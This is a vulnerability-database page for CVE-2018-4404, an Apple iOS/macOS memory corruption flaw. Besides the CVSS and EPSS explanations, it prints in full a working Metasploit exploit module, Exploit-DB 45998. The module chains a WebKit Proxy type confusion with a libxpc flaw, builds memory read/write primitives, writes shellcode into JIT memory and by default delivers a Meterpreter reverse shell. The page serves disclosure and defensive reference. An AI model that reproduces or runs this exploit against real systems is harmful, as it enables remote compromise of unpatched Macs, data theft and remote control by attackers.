CVE-2018-4404 : Detail

CVE-2018-4404

8.8
/
High
Overflow
0.15%V3
Adjacent
2019-01-11
17h00 +00:00
2024-06-25
13h07 +00:00
CVE.org
NVD
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CVE Descriptions

In iOS before 11.4 and macOS High Sierra before 10.13.5, a memory corruption issue exists and was addressed with improved memory handling.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Adjacent

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45998

Publication date : 2018-12-13
23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari Proxy Object Type Confusion', 'Description' => %q{ This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The JIT region is then replaced with shellcode which loads the second stage. The second stage exploits a logic error in libxpc, which uses command execution via the launchd's "spawn_via_launchd" API (CVE-2018-4404). }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo' ], 'References' => [ ['CVE', '2018-4233'], ['CVE', '2018-4404'], ['URL', 'https://github.com/saelo/cve-2018-4233'], ['URL', 'https://github.com/saelo/pwn2own2018'], ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], ], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Platform' => 'osx', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), ]) end def offset_table { '10.12.6' => { :jsc_vtab => '0x0000d8d8', :dyld_stub_loader => '0x00001168', :dlopen => '0x000027f7', :confstr => '0x00002c84', :strlen => '0x00001b40', :strlen_got => '0xdc0', }, '10.13' => { :jsc_vtab => '0x0000e5f8', :dyld_stub_loader => '0x000012a8', :dlopen => '0x00002e60', :confstr => '0x000024fc', :strlen => '0x00001440', :strlen_got => '0xee8', }, '10.13.3' => { :jsc_vtab => '0xe5e8', :dyld_stub_loader => '0x1278', :dlopen => '0x2e30', :confstr => '0x24dc', :strlen => '0x1420', :strlen_got => '0xee0', }, } end def exploit_data(directory, file) path = ::File.join Msf::Config.data_directory, 'exploits', directory, file ::File.binread path end def stage1_js stage1 = exploit_data "CVE-2018-4233", "stage1.bin" "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);" end def stage2_js stage2 = exploit_data "CVE-2018-4404", "stage2.dylib" payload_cmd = payload.raw if target['Arch'] == ARCH_PYTHON payload_cmd = "echo \"#{payload_cmd}\" | python" end placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER') stage2[placeholder_index, payload_cmd.length] = payload_cmd "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);" end def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ version = $1.gsub("_", ".") mac_osx_version = Gem::Version.new(version) if mac_osx_version >= Gem::Version.new('10.13.4') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif mac_osx_version < Gem::Version.new('10.12') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif offset_table.key?(version) offset = offset_table[version] return <<-EOF const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]}; const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]}; const DLOPEN_OFFSET = #{offset[:dlopen]}; const CONFSTR_OFFSET = #{offset[:confstr]}; const STRLEN_OFFSET = #{offset[:strlen]}; const STRLEN_GOT_OFFSET = #{offset[:strlen_got]}; EOF else print_warning "No offsets for version #{mac_osx_version}" end else print_warning "Unexpected User-Agent" end return false end def on_request_uri(cli, request) user_agent = request['User-Agent'] print_status("Request from #{user_agent}") offsets = get_offsets(user_agent) unless offsets send_not_found(cli) return end utils = exploit_data "CVE-2018-4233", "utils.js" int64 = exploit_data "CVE-2018-4233", "int64.js" html = %Q^ <html> <body> <script> #{stage1_js} stage1.replace = function(oldVal, newVal) { for (var idx = 0; idx < this.length; idx++) { var found = true; for (var j = idx; j < idx + 8; j++) { if (this[j] != oldVal.byteAt(j - idx)) { found = false; break; } } if (found) break; } this.set(newVal.bytes(), idx); }; #{stage2_js} #{utils} #{int64} #{offsets} var ready = new Promise(function(resolve) { if (typeof(window) === 'undefined') resolve(); else window.onload = function() { resolve(); } }); ready = Promise.all([ready]); print = function(msg) { //console.log(msg); //document.body.innerText += msg + '\\n'; } // Must create this indexing type transition first, // otherwise the JIT will deoptimize later. var a = [13.37, 13.37]; a[0] = {}; var referenceFloat64Array = new Float64Array(0x1000); // // Bug: the DFG JIT does not take into account that, through the use of a // Proxy, it is possible to run arbitrary JS code during the execution of a // CreateThis operation. This makes it possible to change the structure of e.g. // an argument without causing a bailout, leading to a type confusion. // // // addrof primitive // function setupAddrof() { function InfoLeaker(a) { this.address = a[0]; } var trigger = false; var leakme = null; var arg = null; var handler = { get(target, propname) { if (trigger) arg[0] = leakme; return target[propname]; }, }; var InfoLeakerProxy = new Proxy(InfoLeaker, handler); for (var i = 0; i < 100000; i++) { new InfoLeakerProxy([1.1, 2.2, 3.3]); } trigger = true; return function(obj) { leakme = obj; arg = [1.1, 1.1]; var o = new InfoLeakerProxy(arg); return o.address; }; } // // fakeobj primitive // function setupFakeobj() { function ObjFaker(a, address) { a[0] = address; } var trigger = false; var arg = null; var handler = { get(target, propname) { if (trigger) arg[0] = {}; return target[propname]; }, }; var ObjFakerProxy = new Proxy(ObjFaker, handler); for (var i = 0; i < 100000; i++) { new ObjFakerProxy([1.1, 2.2, 3.3], 13.37); } trigger = true; return function(address) { arg = [1.1, 1.1]; var o = new ObjFakerProxy(arg, address); return arg[0]; }; } function makeJITCompiledFunction() { // Some code to avoid inlining... function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } // Force JIT compilation. for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } return target; } function pwn() { // Spray Float64Array structures so that structure ID 0x1000 will // be a Float64Array with very high probability var structs = []; for (var i = 0; i < 0x1000; i++) { var a = new Float64Array(1); a['prop' + i] = 1337; structs.push(a); } // Setup exploit primitives var addrofOnce = setupAddrof(); var fakeobjOnce = setupFakeobj(); // (Optional) Spray stuff to keep the background GC busy and increase reliability even further /* var stuff = []; for (var i = 0; i < 0x100000; i++) { stuff.push({foo: i}); } */ var float64MemView = new Float64Array(0x200); var uint8MemView = new Uint8Array(0x1000); // Setup container to host the fake Float64Array var jsCellHeader = new Int64([ 00, 0x10, 00, 00, // m_structureID 0x0, // m_indexingType 0x2b, // m_type 0x08, // m_flags 0x1 // m_cellState ]); var container = { jsCellHeader: jsCellHeader.asJSValue(), butterfly: null, vector: float64MemView, length: (new Int64('0x0001000000001337')).asJSValue(), mode: {}, // an empty object, we'll need that later }; // Leak address and inject fake object // RawAddr == address in float64 form var containerRawAddr = addrofOnce(container); var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16); print("[+] Fake Float64Array @ " + fakeArrayAddr); /// /// BEGIN CRITICAL SECTION /// /// Objects are corrupted, a GC would now crash the process. /// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations. /// var driver = fakeobjOnce(fakeArrayAddr.asDouble()); while (!(driver instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.asJSValue(); } // Get some addresses that we'll need to repair our objects. We'll abuse the .mode // property of the container to leak addresses. driver[2] = containerRawAddr; var emptyObjectRawAddr = float64MemView[6]; container.mode = referenceFloat64Array; var referenceFloat64ArrayRawAddr = float64MemView[6]; // Fixup the JSCell header of the container to make it look like an empty object. // By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array. driver[2] = emptyObjectRawAddr; var header = float64MemView[0]; driver[2] = containerRawAddr; float64MemView[0] = header; // Copy the JSCell header from an existing Float64Array and set the butterfly to zero. // Also set the mode: make it look like an OversizeTypedArray for easy GC survival // (see JSGenericTypedArrayView<Adaptor>::visitChildren). driver[2] = referenceFloat64ArrayRawAddr; var header = float64MemView[0]; var length = float64MemView[3]; var mode = float64MemView[4]; driver[2] = containerRawAddr; float64MemView[2] = header; float64MemView[3] = 0; float64MemView[5] = length; float64MemView[6] = mode; // Root the container object so it isn't garbage collected. // This will allocate a butterfly for the fake object and store a reference to the container there. // The fake array itself is rooted by the memory object (closures). driver.container = container; /// /// END CRITICAL SECTION /// /// Objects are repaired, we will now survive a GC /// if (typeof(gc) !== 'undefined') gc(); memory = { read: function(addr, length) { driver[2] = memory.addrof(uint8MemView).asDouble(); float64MemView[2] = addr.asDouble(); var a = new Array(length); for (var i = 0; i < length; i++) a[i] = uint8MemView[i]; return a; }, write: function(addr, data) { driver[2] = memory.addrof(uint8MemView).asDouble(); float64MemView[2] = addr.asDouble(); for (var i = 0; i < data.length; i++) uint8MemView[i] = data[i]; }, read8: function(addr) { driver[2] = addr.asDouble(); return Int64.fromDouble(float64MemView[0]); }, write8: function(addr, value) { driver[2] = addr.asDouble(); float64MemView[0] = value.asDouble(); }, addrof: function(obj) { float64MemView.leakme = obj; var butterfly = Int64.fromDouble(driver[1]); return memory.read8(Sub(butterfly, 0x10)); }, }; print("[+] Got stable memory read/write!"); // Find binary base var funcAddr = memory.addrof(Math.sin); var executableAddr = memory.read8(Add(funcAddr, 24)); var codeAddr = memory.read8(Add(executableAddr, 24)); var vtabAddr = memory.read8(codeAddr); var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET); print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned); var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000")); print("[*] JavaScriptCore.dylib @ " + jscBase); var dyldStubLoaderAddr = memory.read8(jscBase); var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET); var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET)); var libCBase = Sub(strlenAddr, STRLEN_OFFSET); print("[*] dyld.dylib @ " + dyldBase); print("[*] libsystem_c.dylib @ " + libCBase); var confstrAddr = Add(libCBase, CONFSTR_OFFSET); print("[*] confstr @ " + confstrAddr); var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET); print("[*] dlopen @ " + dlopenAddr); // Patching shellcode var stage2Addr = memory.addrof(stage2); stage2Addr = memory.read8(Add(stage2Addr, 16)); print("[*] Stage 2 payload @ " + stage2Addr); stage1.replace(new Int64("0x4141414141414141"), confstrAddr); stage1.replace(new Int64("0x4242424242424242"), stage2Addr); stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length)); stage1.replace(new Int64("0x4444444444444444"), dlopenAddr); print("[+] Shellcode patched"); // Leak JITCode pointer poison value var poison_addr = Add(jscBase, 305152); print("[*] Poison value @ " + poison_addr); var poison = memory.read8(poison_addr); print("[*] Poison value: " + poison); // Shellcode var func = makeJITCompiledFunction(); var funcAddr = memory.addrof(func); print("[+] Shellcode function object @ " + funcAddr); var executableAddr = memory.read8(Add(funcAddr, 24)); print("[+] Executable instance @ " + executableAddr); var jitCodeAddr = memory.read8(Add(executableAddr, 24)); print("[+] JITCode instance @ " + jitCodeAddr); var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32)); var codeAddr = Xor(codeAddrPoisoned, poison); print("[+] RWX memory @ " + codeAddr.toString()); print("[+] Writing shellcode..."); var origCode = memory.read(codeAddr, stage1.length); memory.write(codeAddr, stage1); print("[!] Jumping into shellcode..."); var res = func(); if (res === 0) { print("[+] Shellcode executed sucessfully!"); } else { print("[-] Shellcode failed to execute: error " + res); } memory.write(codeAddr, origCode); print("[*] Restored previous JIT code"); print("[+] We are done here, continuing WebContent process as if nothing happened =)"); if (typeof(gc) !== 'undefined') gc(); } ready.then(function() { try { pwn(); } catch (e) { print("[-] Exception caught: " + e); } }).catch(function(err) { print("[-] Initializatin failed"); }); </script> </body> </html> ^ unless datastore['DEBUG_EXPLOIT'] html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') end send_response(cli, html, {'Content-Type'=>'text/html'}) end end

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 11.4

Apple>>Mac_os_x >> Version From (including) 10.13.0 To (excluding) 10.13.5

References

https://support.apple.com/HT208849
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/45998/
Tags : exploit, x_refsource_EXPLOIT-DB